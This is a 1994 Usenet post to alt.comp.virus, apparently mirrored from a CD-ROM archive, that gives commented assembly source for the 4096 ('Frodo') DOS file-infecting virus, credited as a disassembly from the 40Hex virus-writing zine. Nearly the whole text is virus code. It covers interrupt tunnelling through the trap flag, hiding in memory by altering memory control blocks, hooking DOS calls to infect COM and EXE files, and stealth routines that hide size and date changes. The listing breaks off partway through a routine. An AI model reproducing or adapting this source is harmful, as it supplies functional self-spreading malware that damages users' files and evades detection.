home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-F.ZIP / FRODO.ASM < prev    next >
Assembly Source File  |  1994-11-29  |  86KB  |  1,829 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:49:56 1994
  2. Xref: netcom.com alt.comp.virus:485
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
  4. From: clair@myhost.subdomain.domain (The Clairvoyant)
  5. Newsgroups: alt.comp.virus
  6. Subject: Frodo source
  7. Date: 28 Nov 1994 07:47:20 GMT
  8. Organization: String to put in the Organization Header
  9. Lines: 1814
  10. Message-ID: <3bc1u8$mjc@gaia.ucs.orst.edu>
  11. NNTP-Posting-Host: tempest.rhn.orst.edu
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.  
  15. _4096           segment byte public
  16.                 assume  cs:_4096, ds:_4096
  17.  
  18. ; 4096 Virus
  19. ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
  20. ; Assemble with TASM; the resultant file size is 4081 bytes
  21.  
  22.                 org     0
  23. startvirus:
  24.                 db      0
  25.                 jmp     installvirus
  26. oldheader: ; original 1Ch bytes of the carrier file
  27.                 retn
  28.                 db      75h,02,44h,15h,46h,20h
  29.                 db      'Copyright Bourb%}i, I'
  30. endoldheader:
  31. EXEflag         db       00h
  32.                 db      0FEh, 3Ah
  33.  
  34. int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
  35.                 push    bp                      ; set up stack frame
  36.                 mov     bp,sp
  37.                 push    ax
  38.                 cmp     word ptr [bp+4],0C000h  ; in BIOS?
  39.                 jnb     foundorigint            ; nope, haven't found it
  40.                 mov     ax,cs:DOSsegment        ; in DOS?
  41.                 cmp     [bp+4],ax
  42.                 jbe     foundorigint
  43. exitint1:
  44.                 pop     ax
  45.                 pop     bp
  46.                 iret
  47. foundorigint:
  48.                 cmp     byte ptr cs:tracemode,1
  49.                 jz      tracemode1
  50.                 mov     ax,[bp+4]               ; save segment of entry point
  51.                 mov     word ptr cs:origints+2,ax
  52.                 mov     ax,[bp+2]               ; save offset of entry point
  53.                 mov     word ptr cs:origints,ax
  54.                 jb      finishint1
  55.                 pop     ax
  56.                 pop     bp
  57.                 mov     ss,cs:savess            ; restore the stack to its
  58.                 mov     sp,cs:savesp            ; original state
  59.                 mov     al,cs:saveIMR           ; Restore IMR
  60.                 out     21h,al                  ; (enable interrupts)
  61.                 jmp     setvirusints
  62. finishint1:
  63.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  64.                 mov     al,cs:saveIMR           ; and restore IMR
  65.                 out     21h,al
  66.                 jmp     short exitint1
  67. tracemode1:
  68.                 dec     byte ptr cs:instructionstotrace
  69.                 jnz     exitint1
  70.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  71.                 call    saveregs
  72.                 call    swapvirint21            ; restore original int
  73.                 lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
  74.                 mov     al,1
  75.                 call    setvect
  76.                 call    restoreregs
  77.                 jmp     short finishint1
  78.  
  79. getint:
  80.                 push    ds
  81.                 push    si
  82.                 xor     si,si                   ; clear si
  83.                 mov     ds,si                   ; ds->interrupt table
  84.                 xor     ah,ah                   ; cbw would be better!?
  85.                 mov     si,ax
  86.                 shl     si,1                    ; convert int # to offset in
  87.                 shl     si,1                    ; interrupt table (int # x 4)
  88.                 mov     bx,[si]                 ; es:bx = interrupt vector
  89.                 mov     es,[si+2]               ; get old interrupt vector
  90.                                                 ; save 3 bytes if use les bx,[si]
  91.                 pop     si
  92.                 pop     ds
  93.                 retn
  94.  
  95. installvirus:
  96.                 mov     word ptr cs:stackptr,offset topstack
  97.                 mov     cs:initialax,ax         ; save initial value for ax
  98.                 mov     ah,30h                  ; Get DOS version
  99.                 int     21h
  100.  
  101.                 mov     cs:DOSversion,al        ; Save DOS version
  102.                 mov     cs:carrierPSP,ds        ; Save PSP segment
  103.                 mov     ah,52h                  ; Get list of lists
  104.                 int     21h
  105.  
  106.                 mov     ax,es:[bx-2]            ; segment of first MCB
  107.                 mov     cs:DOSsegment,ax        ; save it for use in int 1
  108.                 mov     es,ax                   ; es = segment first MCB
  109.                 mov     ax,es:[1]               ; Get owner of first MCB
  110.                 mov     cs:ownerfirstMCB,ax     ; save it
  111.                 push    cs
  112.                 pop     ds
  113.                 mov     al,1                    ; get single step vector
  114.                 call    getint
  115.                 mov     word ptr ds:oldint1,bx  ; save it for later
  116.                 mov     word ptr ds:oldint1+2,es; restoration
  117.                 mov     al,21h                  ; get int 21h vector
  118.                 call    getint
  119.                 mov     word ptr ds:origints,bx
  120.                 mov     word ptr ds:origints+2,es
  121.                 mov     byte ptr ds:tracemode,0 ; regular trace mode on
  122.                 mov     dx,offset int1          ; set new int 1 handler
  123.                 mov     al,1
  124.                 call    setvect
  125.                 pushf
  126.                 pop     ax
  127.                 or      ax,100h                 ; turn on trap flag
  128.                 push    ax
  129.                 in      al,21h                  ; Get old IMR
  130.                 mov     ds:saveIMR,al
  131.                 mov     al,0FFh                 ; disable all interrupts
  132.                 out     21h,al
  133.                 popf
  134.                 mov     ah,52h                  ; Get list of lists
  135.                 pushf                           ; (for tracing purposes)
  136.                 call    dword ptr ds:origints   ; perform the tunnelling
  137.                 pushf
  138.                 pop     ax
  139.                 and     ax,0FEFFh               ; turn off trap flag
  140.                 push    ax
  141.                 popf
  142.                 mov     al,ds:saveIMR           ; reenable interrupts
  143.                 out     21h,al
  144.                 push    ds
  145.                 lds     dx,dword ptr ds:oldint1
  146.                 mov     al,1                    ; restore int 1 to the
  147.                 call    setvect                 ; original handler
  148.                 pop     ds
  149.                 les     di,dword ptr ds:origints; set up int 21h handlers
  150.                 mov     word ptr ds:oldint21,di
  151.                 mov     word ptr ds:oldint21+2,es
  152.                 mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
  153.                 mov     word ptr ds:int21store,offset otherint21
  154.                 mov     word ptr ds:int21store+2,cs
  155.                 call    swapvirint21            ; activate virus in memory
  156.                 mov     ax,4B00h
  157.                 mov     ds:checkres,ah          ; set resident flag to a
  158.                                                 ; dummy value
  159.                 mov     dx,offset EXEflag+1     ; save EXE flag
  160.                 push    word ptr ds:EXEflag
  161.                 int     21h                     ; installation check
  162.                                                 ; returns checkres=0 if
  163.                                                 ; installed
  164.  
  165.                 pop     word ptr ds:EXEflag     ; restore EXE flag
  166.                 add     word ptr es:[di-4],9
  167.                 nop                             ; !?
  168.                 mov     es,ds:carrierPSP        ; restore ES and DS to their
  169.                 mov     ds,ds:carrierPSP        ; original values
  170.                 sub     word ptr ds:[2],(topstack/10h)+1
  171.                                                 ; alter top of memory in PSP
  172.                 mov     bp,ds:[2]               ; get segment
  173.                 mov     dx,ds
  174.                 sub     bp,dx
  175.                 mov     ah,4Ah                  ; Find total available memory
  176.                 mov     bx,0FFFFh
  177.                 int     21h
  178.  
  179.                 mov     ah,4Ah                  ; Allocate all available memory
  180.                 int     21h
  181.  
  182.                 dec     dx                      ; go to MCB of virus memory
  183.                 mov     ds,dx
  184.                 cmp     byte ptr ds:[0],'Z'     ; is it the last block?
  185.                 je      carrierislastMCB
  186.                 dec     byte ptr cs:checkres    ; mark need to install virus
  187. carrierislastMCB:
  188.                 cmp     byte ptr cs:checkres,0  ; need to install?
  189.                 je      playwithMCBs            ; nope, go play with MCBs
  190.                 mov     byte ptr ds:[0],'M'     ; mark not end of chain
  191. playwithMCBs:
  192.                 mov     ax,ds:[3]               ; get memory size controlled
  193.                 mov     bx,ax                   ; by the MCB
  194.                 sub     ax,(topstack/10h)+1     ; calculate new size
  195.                 add     dx,ax                   ; find high memory segment
  196.                 mov     ds:[3],ax               ; put new size in MCB
  197.                 inc     dx                      ; one more for the MCB
  198.                 mov     es,dx                   ; es->high memory MCB
  199.                 mov     byte ptr es:[0],'Z'     ; mark end of chain
  200.                 push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
  201.                 pop     word ptr es:[1]         ; make it the owner
  202.                 mov     word ptr es:[3],160h    ; fill in the size field
  203.                 inc     dx
  204.                 mov     es,dx                   ; es->high memory area
  205.                 push    cs
  206.                 pop     ds
  207.                 mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
  208.                 mov     si,offset topstack-2
  209.                 mov     di,si
  210.                 std                             ; zopy backwards
  211.                 rep     movsw
  212.                 cld
  213.                 push    es                      ; set up stack for jmp into
  214.                 mov     ax,offset highentry     ; virus code in high memory
  215.                 push    ax
  216.                 mov     es,cs:carrierPSP        ; save current PSP segment
  217.                 mov     ah,4Ah                  ; Alter memory allocation
  218.                 mov     bx,bp                   ; bx = paragraphs
  219.                 int     21h
  220.                 retf                            ; jmp to virus code in high
  221. highentry:                                      ; memory
  222.                 call    swapvirint21
  223.                 mov     word ptr cs:int21store+2,cs
  224.                 call    swapvirint21
  225.                 push    cs
  226.                 pop     ds
  227.                 mov     byte ptr ds:handlesleft,14h ; reset free handles count
  228.                 push    cs
  229.                 pop     es
  230.                 mov     di,offset handletable
  231.                 mov     cx,14h
  232.                 xor     ax,ax                   ; clear handle table
  233.                 rep     stosw
  234.                 mov     ds:hideclustercountchange,al ; clear the flag
  235.                 mov     ax,ds:carrierPSP
  236.                 mov     es,ax                   ; es->PSP
  237.                 lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
  238.                 mov     ds,ax                   ; ds->PSP
  239.                 add     ax,10h                  ; adjust for PSP
  240.                 add     word ptr cs:oldheader+16h,ax ; adjust jmp location
  241.                 cmp     byte ptr cs:EXEflag,0   ; for PSP
  242.                 jne     returntoEXE
  243. returntoCOM:
  244.                 sti
  245.                 mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
  246.                 mov     ds:[100h],ax            ; COM file
  247.                 mov     ax,word ptr cs:oldheader+2
  248.                 mov     ds:[102h],ax
  249.                 mov     ax,word ptr cs:oldheader+4
  250.                 mov     ds:[104h],ax
  251.                 push    word ptr cs:carrierPSP  ; Segment of carrier file's
  252.                 mov     ax,100h                 ; PSP
  253.                 push    ax
  254.                 mov     ax,cs:initialax         ; restore orig. value of ax
  255.                 retf                            ; return to original COM file
  256.  
  257. returntoEXE:
  258.                 add     word ptr cs:oldheader+0eh,ax
  259.                 mov     ax,cs:initialax         ; Restore ax
  260.                 mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
  261.                 mov     sp,word ptr cs:oldheader+10h ; original value
  262.                 sti
  263.                 jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
  264.                                                 ; entry point
  265. entervirus:
  266.                 cmp     sp,100h                 ; COM file?
  267.                 ja      dont_resetstack         ; if so, skip this
  268.                 xor     sp,sp                   ; new stack
  269. dont_resetstack:
  270.                 mov     bp,ax
  271.                 call    next                    ; calculate relativeness
  272. next:
  273.                 pop     cx
  274.                 sub     cx,offset next          ; cx = delta offset
  275.                 mov     ax,cs                   ; ax = segment
  276.                 mov     bx,10h                  ; convert to offset
  277.                 mul     bx
  278.                 add     ax,cx
  279.                 adc     dx,0
  280.                 div     bx                      ; convert to seg:off
  281.                 push    ax                      ; set up stack for jmp
  282.                 mov     ax,offset installvirus  ; to installvirus
  283.                 push    ax
  284.                 mov     ax,bp
  285.                 retf                            ; go to installvirus
  286.  
  287. int21commands:
  288.                 db      30h     ; get DOS version
  289.                 dw      offset getDOSversion
  290.                 db      23h     ; FCB get file size
  291.                 dw      offset FCBgetfilesize
  292.                 db      37h     ; get device info
  293.                 dw      offset get_device_info
  294.                 db      4Bh     ; execute
  295.                 dw      offset execute
  296.                 db      3Ch     ; create file w/ handle
  297.                 dw      offset createhandle
  298.                 db      3Dh     ; open file
  299.                 dw      offset openhandle
  300.                 db      3Eh     ; close file
  301.                 dw      offset handleclosefile
  302.                 db      0Fh     ; FCB open file
  303.                 dw      offset FCBopenfile
  304.                 db      14h     ; sequential FCB read
  305.                 dw      offset sequentialFCBread
  306.                 db      21h     ; random FCB read
  307.                 dw      offset randomFCBread
  308.                 db      27h     ; random FCB block read
  309.                 dw      offset randomFCBblockread
  310.                 db      11h     ; FCB find first
  311.                 dw      offset FCBfindfirstnext
  312.                 db      12h     ; FCB find next
  313.                 dw      offset FCBfindfirstnext
  314.                 db      4Eh     ; filename find first
  315.                 dw      offset filenamefindfirstnext
  316.                 db      4Fh     ; filename find next
  317.                 dw      offset filenamefindfirstnext
  318.                 db      3Fh     ; read
  319.                 dw      offset handleread
  320.                 db      40h     ; write
  321.                 dw      offset handlewrite
  322.                 db      42h     ; move file pointer
  323.                 dw      offset handlemovefilepointer
  324.                 db      57h     ; get/set file time/date
  325.                 dw      offset getsetfiletimedate
  326.                 db      48h     ; allocate memory
  327.                 dw      offset allocatememory
  328. endcommands:
  329.  
  330. otherint21:
  331.                 cmp     ax,4B00h                ; execute?
  332.                 jnz     notexecute
  333.                 mov     cs:checkres,al          ; clear the resident flag
  334. notexecute:
  335.                 push    bp                      ; set up stack frame
  336.                 mov     bp,sp
  337.                 push    [bp+6]                  ; push old flags
  338.                 pop     cs:int21flags           ; and put in variable
  339.                 pop     bp                      ; why?
  340.                 push    bp                      ; why?
  341.                 mov     bp,sp                   ; set up new stack frame
  342.                 call    saveregs
  343.                 call    swapvirint21            ; reenable DOS int 21h handler
  344.                 call    disableBREAK
  345.                 call    restoreregs
  346.                 call    _pushall
  347.                 push    bx
  348.                 mov     bx,offset int21commands ; bx->command table
  349. scanforcommand:
  350.                 cmp     ah,cs:[bx]              ; scan for the function
  351.                 jne     findnextcommand         ; code/subroutine combination
  352.                 mov     bx,cs:[bx+1]
  353.                 xchg    bx,[bp-14h]
  354.                 cld
  355.                 retn
  356. findnextcommand:
  357.                 add     bx,3                    ; go to next command
  358.                 cmp     bx,offset endcommands   ; in the table until
  359.                 jb      scanforcommand          ; there are no more
  360.                 pop     bx
  361. exitotherint21:
  362.                 call    restoreBREAK
  363.                 in      al,21h                  ; save IMR
  364.                 mov     cs:saveIMR,al
  365.                 mov     al,0FFh                 ; disable all interrupts
  366.                 out     21h,al
  367.                 mov     byte ptr cs:instructionstotrace,4 ; trace into
  368.                 mov     byte ptr cs:tracemode,1           ; oldint21
  369.                 call    replaceint1             ; set virus int 1 handler
  370.                 call    _popall
  371.                 push    ax
  372.                 mov     ax,cs:int21flags        ; get the flags
  373.                 or      ax,100h                 ; turn on the trap flag
  374.                 push    ax                      ; and set it in motion
  375.                 popf
  376.                 pop     ax
  377.                 pop     bp
  378.                 jmp     dword ptr cs:oldint21   ; chain back to original int
  379.                                                 ; 21h handler -- do not return
  380.  
  381. exitint21:
  382.                 call    saveregs
  383.                 call    restoreBREAK
  384.                 call    swapvirint21
  385.                 call    restoreregs
  386.                 pop     bp
  387.                 push    bp                      ; set up stack frame
  388.                 mov     bp,sp
  389.                 push    word ptr cs:int21flags  ; get the flags and put
  390.                 pop     word ptr [bp+6]         ; them on the stack for
  391.                 pop     bp                      ; the iret
  392.                 iret
  393.  
  394. FCBfindfirstnext:
  395.                 call    _popall
  396.                 call    callint21
  397.                 or      al,al                   ; Found any files?
  398.                 jnz     exitint21               ; guess not
  399.                 call    _pushall
  400.                 call    getdisktransferaddress
  401.                 mov     al,0
  402.                 cmp     byte ptr [bx],0FFh      ; Extended FCB?
  403.                 jne     findfirstnextnoextendedFCB
  404.                 mov     al,[bx+6]
  405.                 add     bx,7                    ; convert to normal FCB
  406. findfirstnextnoextendedFCB:
  407.                 and     cs:hide_size,al
  408.                 test    byte ptr [bx+1Ah],80h   ; check year bit for virus
  409.                 jz      _popall_then_exitint21  ; infection tag. exit if so
  410.                 sub     byte ptr [bx+1Ah],0C8h  ; alter file date
  411.                 cmp     byte ptr cs:hide_size,0
  412.                 jne     _popall_then_exitint21
  413.                 sub     word ptr [bx+1Dh],1000h ; hide file size
  414.                 sbb     word ptr [bx+1Fh],0
  415. _popall_then_exitint21:
  416.                 call    _popall
  417.                 jmp     short exitint21
  418.  
  419. FCBopenfile:
  420.                 call    _popall
  421.                 call    callint21               ; chain to original int 21h
  422.                 call    _pushall
  423.                 or      al,al                   ; 0 = success
  424.                 jnz     _popall_then_exitint21
  425.                 mov     bx,dx
  426.                 test    byte ptr [bx+15h],80h   ; check if infected yet
  427.                 jz      _popall_then_exitint21
  428.                 sub     byte ptr [bx+15h],0C8h  ; restore date
  429.                 sub     word ptr [bx+10h],1000h ; and hide file size
  430.                 sbb     byte ptr [bx+12h],0
  431.                 jmp     short _popall_then_exitint21
  432.  
  433. randomFCBblockread:
  434.                 jcxz    go_exitotherint21       ; reading any blocks?
  435.  
  436. randomFCBread:
  437.                 mov     bx,dx
  438.                 mov     si,[bx+21h]             ; check if reading first
  439.                 or      si,[bx+23h]             ; bytes
  440.                 jnz     go_exitotherint21
  441.                 jmp     short continueFCBread
  442.  
  443. sequentialFCBread:
  444.                 mov     bx,dx
  445.                 mov     ax,[bx+0Ch]             ; check if reading first
  446.                 or      al,[bx+20h]             ; bytes
  447.                 jnz     go_exitotherint21
  448. continueFCBread:
  449.                 call    checkFCBokinfect
  450.                 jnc     continuecontinueFCBread
  451. go_exitotherint21:
  452.                 jmp     exitotherint21
  453. continuecontinueFCBread:
  454.                 call    _popall
  455.                 call    _pushall
  456.                 call    callint21               ; chain to original handler
  457.                 mov     [bp-4],ax               ; set the return codes
  458.                 mov     [bp-8],cx               ; properly
  459.                 push    ds                      ; save FCB pointer
  460.                 push    dx
  461.                 call    getdisktransferaddress
  462.                 cmp     word ptr [bx+14h],1     ; check for EXE infection
  463.                 je      FCBreadinfectedfile     ; (IP = 1)
  464.                 mov     ax,[bx]                 ; check for COM infection
  465.                 add     ax,[bx+2]               ; (checksum = 0)
  466.                 add     ax,[bx+4]
  467.                 jz      FCBreadinfectedfile
  468.                 add     sp,4                    ; no infection, no stealth
  469.                 jmp     short _popall_then_exitint21 ; needed
  470. FCBreadinfectedfile:
  471.                 pop     dx                      ; restore address of the FCB
  472.                 pop     ds
  473.                 mov     si,dx
  474.                 push    cs
  475.                 pop     es
  476.                 mov     di,offset tempFCB       ; copy FCB to temporary one
  477.                 mov     cx,25h
  478.                 rep     movsb
  479.                 mov     di,offset tempFCB
  480.                 push    cs
  481.                 pop     ds
  482.                 mov     ax,[di+10h]             ; get old file size
  483.                 mov     dx,[di+12h]
  484.                 add     ax,100Fh                ; increase by virus size
  485.                 adc     dx,0                    ; and round to the nearest
  486.                 and     ax,0FFF0h               ; paragraph
  487.                 mov     [di+10h],ax             ; insert new file size
  488.                 mov     [di+12h],dx
  489.                 sub     ax,0FFCh
  490.                 sbb     dx,0
  491.                 mov     [di+21h],ax             ; set new random record #
  492.                 mov     [di+23h],dx
  493.                 mov     word ptr [di+0Eh],1     ; record size = 1
  494.                 mov     cx,1Ch
  495.                 mov     dx,di
  496.                 mov     ah,27h                  ; random block read 1Ch bytes
  497.                 call    callint21
  498.                 jmp     _popall_then_exitint21
  499.  
  500. FCBgetfilesize:
  501.                 push    cs
  502.                 pop     es
  503.                 mov     si,dx
  504.                 mov     di,offset tempFCB       ; copy FCB to temp buffer
  505.                 mov     cx,0025h
  506.                 repz    movsb
  507.                 push    ds
  508.                 push    dx
  509.                 push    cs
  510.                 pop     ds
  511.                 mov     dx,offset tempFCB
  512.                 mov     ah,0Fh                  ; FCB open file
  513.                 call    callint21
  514.                 mov     ah,10h                  ; FCB close file
  515.                 call    callint21
  516.                 test    byte ptr [tempFCB+15h],80h ; check date bit
  517.                 pop     si
  518.                 pop     ds
  519.                 jz      will_exitotherint21     ; exit if not infected
  520.                 les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
  521.                 mov     ax,es
  522.                 sub     bx,1000h                ; hide increase
  523.                 sbb     ax,0
  524.                 xor     dx,dx
  525.                 mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
  526.                 dec     cx
  527.                 add     bx,cx
  528.                 adc     ax,0
  529.                 inc     cx
  530.                 div     cx
  531.                 mov     [si+23h],ax             ; fix random access record #
  532.                 xchg    dx,ax
  533.                 xchg    bx,ax
  534.                 div     cx
  535.                 mov     [si+21h],ax             ; fix random access record #
  536.                 jmp     _popall_then_exitint21
  537.  
  538. filenamefindfirstnext:
  539.                 and     word ptr cs:int21flags,-2 ; turn off trap flag
  540.                 call    _popall
  541.                 call    callint21
  542.                 call    _pushall
  543.                 jnb     filenamefffnOK          ; continue if a file is found
  544.                 or      word ptr cs:int21flags,1
  545.                 jmp     _popall_then_exitint21
  546.  
  547. filenamefffnOK:
  548.                 call    getdisktransferaddress
  549.                 test    byte ptr [bx+19h],80h   ; Check high bit of date
  550.                 jnz     filenamefffnfileinfected; Bit set if infected
  551.                 jmp     _popall_then_exitint21
  552. filenamefffnfileinfected:
  553.                 sub     word ptr [bx+1Ah],1000h ; hide file length increase
  554.                 sbb     word ptr [bx+1Ch],0
  555.                 sub     byte ptr [bx+19h],0C8h  ; and date change
  556.                 jmp     _popall_then_exitint21
  557.  
  558. createhandle:
  559.                 push    cx
  560.                 and     cx,7                    ; mask the attributes
  561.                 cmp     cx,7                    ; r/o, hidden, & system?
  562.                 je      exit_create_handle
  563.                 pop     cx
  564.                 call    replaceint13and24
  565.                 call    callint21               ; chain to original int 21h
  566.                 call    restoreint13and24
  567.                 pushf
  568.                 cmp     byte ptr cs:errorflag,0 ; check if any errors yet
  569.                 je      no_errors_createhandle
  570.                 popf
  571. will_exitotherint21:
  572.                 jmp     exitotherint21
  573. no_errors_createhandle:
  574.                 popf
  575.                 jc      other_error_createhandle; exit on error
  576.                 mov     bx,ax                   ; move handle to bx
  577.                 mov     ah,3Eh                  ; Close file
  578.                 call    callint21
  579.                 jmp     short openhandle
  580. other_error_createhandle:
  581.                 or      byte ptr cs:int21flags,1; turn on the trap flag
  582.                 mov     [bp-4],ax               ; set the return code properly
  583.                 jmp     _popall_then_exitint21
  584. exit_create_handle:
  585.                 pop     cx
  586.                 jmp     exitotherint21
  587.  
  588. openhandle:
  589.                 call    getcurrentPSP
  590.                 call    checkdsdxokinfect
  591.                 jc      jmp_exitotherint21
  592.                 cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
  593.                 je      jmp_exitotherint21        ; entry in the table
  594.                 call    setup_infection         ; open the file
  595.                 cmp     bx,0FFFFh               ; error?
  596.                 je      jmp_exitotherint21      ; if so, exit
  597.                 dec     byte ptr cs:handlesleft
  598.                 push    cs
  599.                 pop     es
  600.                 mov     di,offset handletable
  601.                 mov     cx,14h
  602.                 xor     ax,ax                   ; find end of the table
  603.                 repne   scasw
  604.                 mov     ax,cs:currentPSP        ; put the PSP value and the
  605.                 mov     es:[di-2],ax            ; handle # in the table
  606.                 mov     es:[di+26h],bx
  607.                 mov     [bp-4],bx               ; put handle # in return code
  608. handleopenclose_exit:
  609.                 and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
  610.                 jmp     _popall_then_exitint21
  611. jmp_exitotherint21:
  612.                 jmp     exitotherint21
  613.  
  614. handleclosefile:
  615.                 push    cs
  616.                 pop     es
  617.                 call    getcurrentPSP
  618.                 mov     di,offset handletable
  619.                 mov     cx,14h                  ; 14h entries max
  620.                 mov     ax,cs:currentPSP        ; search for calling PSP
  621. scanhandle_close:
  622.                 repne   scasw
  623.                 jnz     handlenotfound          ; handle not trapped
  624.                 cmp     bx,es:[di+26h]          ; does the handle correspond?
  625.                 jne     scanhandle_close        ; if not, find another handle
  626.                 mov     word ptr es:[di-2],0    ; otherwise, clear handle
  627.                 call    infect_file
  628.                 inc     byte ptr cs:handlesleft ; fix handles left counter
  629.                 jmp     short handleopenclose_exit ; and exit
  630. handlenotfound:
  631.                 jmp     exitotherint21
  632.  
  633. getdisktransferaddress:
  634.                 push    es
  635.                 mov     ah,2Fh                  ; Get disk transfer address
  636.                 call    callint21               ; to es:bx
  637.                 push    es
  638.                 pop     ds                      ; mov to ds:bx
  639.                 pop     es
  640.                 retn
  641. execute:
  642.                 or      al,al                   ; load and execute?
  643.                 jz      loadexecute             ; yepper!
  644.                 jmp     checkloadnoexecute      ; otherwise check if
  645.                                                 ; load/no execute
  646. loadexecute:
  647.                 push    ds                      ; save filename
  648.                 push    dx
  649.                 mov     word ptr cs:parmblock,bx; save parameter block and
  650.                 mov     word ptr cs:parmblock+2,es; move to ds:si
  651.                 lds     si,dword ptr cs:parmblock
  652.                 mov     di,offset copyparmblock ; copy the parameter block
  653.                 mov     cx,0Eh
  654.                 push    cs
  655.                 pop     es
  656.                 rep     movsb
  657.                 pop     si                      ; copy the filename
  658.                 pop     ds                      ; to the buffer
  659.                 mov     di,offset copyfilename
  660.                 mov     cx,50h
  661.                 rep     movsb
  662.                 mov     bx,0FFFFh
  663.                 call    allocate_memory         ; allocate available memory
  664.                 call    _popall
  665.                 pop     bp                      ; save the parameters
  666.                 pop     word ptr cs:saveoffset  ; on the stack
  667.                 pop     word ptr cs:savesegment
  668.                 pop     word ptr cs:int21flags
  669.                 mov     ax,4B01h                ; load/no execute
  670.                 push    cs                      ; ds:dx -> file name
  671.                 pop     es                      ; es:bx -> parameter block
  672.                 mov     bx,offset copyparmblock
  673.                 pushf                           ; perform interrupt 21h
  674.                 call    dword ptr cs:oldint21
  675.                 jnc     continue_loadexecute    ; continue if no error
  676.                 or      word ptr cs:int21flags,1; turn on trap flag
  677.                 push    word ptr cs:int21flags  ; if error
  678.                 push    word ptr cs:savesegment ; restore stack
  679.                 push    word ptr cs:saveoffset
  680.                 push    bp                      ; restore the stack frame
  681.                 mov     bp,sp                   ; and restore ES:BX to
  682.                 les     bx,dword ptr cs:parmblock ; point to the parameter
  683.                 jmp     exitint21               ; block
  684. continue_loadexecute:
  685.                 call    getcurrentPSP
  686.                 push    cs
  687.                 pop     es
  688.                 mov     di,offset handletable   ; scan the handle table
  689.                 mov     cx,14h                  ; for the current PSP's
  690. scanhandle_loadexecute:                         ; handles
  691.                 mov     ax,cs:currentPSP
  692.                 repne   scasw
  693.                 jnz     loadexecute_checkEXE
  694.                 mov     word ptr es:[di-2],0    ; clear entry in handle table
  695.                 inc     byte ptr cs:handlesleft ; fix handlesleft counter
  696.                 jmp     short scanhandle_loadexecute
  697. loadexecute_checkEXE:
  698.                 lds     si,dword ptr cs:origcsip
  699.                 cmp     si,1                    ; Check if EXE infected
  700.                 jne     loadexecute_checkCOM
  701.                 mov     dx,word ptr ds:oldheader+16h ; get initial CS
  702.                 add     dx,10h                  ; adjust for PSP
  703.                 mov     ah,51h                  ; Get current PSP segment
  704.                 call    callint21
  705.                 add     dx,bx                   ;adjust for start load segment
  706.                 mov     word ptr cs:origcsip+2,dx
  707.                 push    word ptr ds:oldheader+14h       ; save old IP
  708.                 pop     word ptr cs:origcsip
  709.                 add     bx,10h                          ; adjust for the PSP
  710.                 add     bx,word ptr ds:oldheader+0Eh    ; add old SS
  711.                 mov     cs:origss,bx
  712.                 push    word ptr ds:oldheader+10h       ; old SP
  713.                 pop     word ptr cs:origsp
  714.                 jmp     short perform_loadexecute
  715. loadexecute_checkCOM:
  716.                 mov     ax,[si]                 ; Check if COM infected
  717.                 add     ax,[si+2]
  718.                 add     ax,[si+4]
  719.                 jz      loadexecute_doCOM       ; exit if already infected
  720.                 push    cs                      ; otherwise check to see
  721.                 pop     ds                      ; if it is suitable for
  722.                 mov     dx,offset copyfilename  ; infection
  723.                 call    checkdsdxokinfect
  724.                 call    setup_infection
  725.                 inc     byte ptr cs:hideclustercountchange
  726.                 call    infect_file             ; infect the file
  727.                 dec     byte ptr cs:hideclustercountchange
  728. perform_loadexecute:
  729.                 mov     ah,51h                  ; Get current PSP segment
  730.                 call    callint21
  731.                 call    saveregs
  732.                 call    restoreBREAK
  733.                 call    swapvirint21
  734.                 call    restoreregs
  735.                 mov     ds,bx                   ; ds = current PSP segment
  736.                 mov     es,bx                   ; es = current PSP segment
  737.                 push    word ptr cs:int21flags  ; restore stack parameters
  738.                 push    word ptr cs:savesegment
  739.                 push    word ptr cs:saveoffset
  740.                 pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
  741.                 pop     word ptr ds:[0Ch]       ; to return address found on
  742.                                                 ; the stack
  743.                                                 ; (int 21h caller CS:IP)
  744.                 push    ds
  745.                 lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
  746.                 mov     al,22h                  ; Set terminate address to it
  747.                 call    setvect
  748.                 pop     ds
  749.                 popf
  750.                 pop     ax
  751.                 mov     ss,cs:origss            ; restore the stack
  752.                 mov     sp,cs:origsp            ; and
  753.                 jmp     dword ptr cs:origcsip   ; perform the execute
  754.  
  755. loadexecute_doCOM:
  756.                 mov     bx,[si+1]               ; restore original COM file
  757.                 mov     ax,word ptr ds:[bx+si-261h]
  758.                 mov     [si],ax
  759.                 mov     ax,word ptr ds:[bx+si-25Fh]
  760.                 mov     [si+2],ax
  761.                 mov     ax,word ptr ds:[bx+si-25Dh]
  762.                 mov     [si+4],ax
  763.                 jmp     short perform_loadexecute
  764. checkloadnoexecute:
  765.                 cmp     al,1
  766.                 je      loadnoexecute
  767.                 jmp     exitotherint21
  768. loadnoexecute:
  769.                 or      word ptr cs:int21flags,1; turn on trap flag
  770.                 mov     word ptr cs:parmblock,bx; save pointer to parameter
  771.                 mov     word ptr cs:parmblock+2,es ; block
  772.                 call    _popall
  773.                 call    callint21               ; chain to int 21h
  774.                 call    _pushall
  775.                 les     bx,dword ptr cs:parmblock ; restore pointer to
  776.                                                 ; parameter block
  777.                 lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
  778.                 jc      exit_loadnoexecute
